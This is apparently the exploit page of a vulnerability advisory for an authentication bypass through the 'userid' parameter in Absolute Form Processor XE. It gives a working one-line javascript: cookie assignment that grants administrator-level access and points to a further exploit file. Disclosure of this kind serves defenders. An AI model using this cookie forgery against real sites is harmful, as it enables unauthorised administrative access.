• info
• discussion
• exploit
• solution
• references

Absolute Form Processor XE 'userid' Parameter Authentication Bypass Vulnerability

Attackers may exploit this issue through a browser.

The following example code is available:

javascript:document.cookie = "xlaAFPadmin=lvl=1&userid=1; path=/";

The following exploit is also available:

• /data/vulnerabilities/exploits/34706.html